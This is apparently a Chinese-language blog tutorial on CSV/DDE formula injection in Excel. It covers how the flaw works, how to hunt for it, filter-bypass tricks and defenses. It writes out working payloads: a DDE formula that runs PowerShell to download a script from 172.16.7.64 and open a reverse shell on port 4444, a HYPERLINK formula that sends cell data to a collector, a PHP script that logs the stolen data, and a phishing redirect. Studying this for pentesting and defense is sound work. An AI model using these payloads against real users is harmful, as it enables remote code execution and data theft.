初识DDE注入攻击
前言:
之前实习的时候瞟了一眼同事的渗透测试报告,发现有一个对我来说挺新颖的漏洞——CSV注入,各位表哥轻喷哈,既然遇到了就先学习一波!又水一篇文章欧耶!
漏洞介绍:
CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。
漏洞原理:
Excel解析机制:
在Excel中,任何以"="字符开头的单元格都将被电子表格软件解释为公式,如果我们在其中输入"=1+2",表格则会显示为:
除了=号,以下符号都可用于在Microsoft Excel中触发公式解释:
- 等于(“=”)
- 加(“+”)
- 减号(“ - ”)
- 在 (”@”)
DDE注入:
动态数据交换(DDE),全称DynamicData Exchange,是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。比如我们构造包含如下字符串的csv或xls文件:
=cmd |'/C calc'!A0
Excel会尝试调用本机CMD命令,给出友好提示,若用户在无意识状态下点击“是”
而后尝试接受更正拼写错误,不接受更正则会执行cmd命令,弹出计算器:
漏洞危害:
- OS命令执行:
利用思路:
添加用户;
开启任意应用程序;
操作注册表;
反弹shell;
比如利用powershell反弹shell
项目地址:https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
=1+cmd|' /C powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://172.16.7.64/Invoke-PowerShellTcp.ps1\"); Invoke-PowerShellTcp -Reverse -IPAddress 172.16.7.64 -Port 4444 '!A0
- 信息泄露:
利用超链接功能 Hyperlink 创建快捷方式并进行跳转,单击包含HYPERLINK函数的单元格时,Microsoft Excel将打开存储在link_location的文件,如:
可将表格其中一个单元格设置为以下形式:
=HYPERLINK("http://192.168.107.145/get_data.php?data="&A1,"Click to view additional information")
它将创建一个单元格,显示文本“单击以查看其他信息”,当用户单击,将发送A1中的数据book4yi发到xxx.com,从而导致信息泄露
# get_data.php
<?php
$fp=fopen("user.txt", "a+"); //创建一个user.txt文本
$referer="referer=".$_SERVER['HTTP_REFERER']." "; //查看数据是从哪个地方发来的
@$data=$_GET['data']; //接收GET请求的数据
fwrite( $fp, $referer); //将referer 写入到文本里
fwrite( $fp, $data); //将数据写入到文本里
fwrite( $fp, "\r\n"); //每次写完换行
?>
用户点击访问以后即可将相应的信息发送
使用第一种攻击方式也可以实现这种攻击效果:
=6-5 cmd|' /C "C:\Program Files\Internet Explorer\iexplore.exe" http://xxx.com/asd.html'!A0
它将用户定向到恶意钓鱼网站,实现窃取哈希值和口令等操作
挖掘思路:
a、关注系统中是否有导出为csv或xls表格的功能,一般存在于信息统计,日志导出等功能处;
b、确定导出的内容是否用户可控:
1)可能在界面可直接进行编辑/新增;
2)通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入;
3、输入处写入测试脚本=2*10,导出后查看表格内容是否解析输入
绕过技巧:
1、在等于号被过滤时,可以通过运算符+-的方式绕过:
-3+2+cmd |' /C calc' !A0
2、利用换行符绕过:
%0A-3+3+cmd|' /C calc'!D2
3、导出文件为csv时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行
;-3+3+cmd|' /C calc'!D2
4、
@SUM(cmd|'/c calc'!A0)
5、
=HYPERLINK("https://evil.com")
防御手段:
1)在生成电子表格时,以任何危险符号开头的字段应该以单引号、撇号字符或空格作为前缀,确保单元格不被解释为公式,但存在可能被绕过的风险。
2)根据业务需求控制用户输入为字母数字字符;
3)黑名单过滤=或-号开头的单元格数据,过滤=(-)cmd或=(-)HYPERLINK或concat等。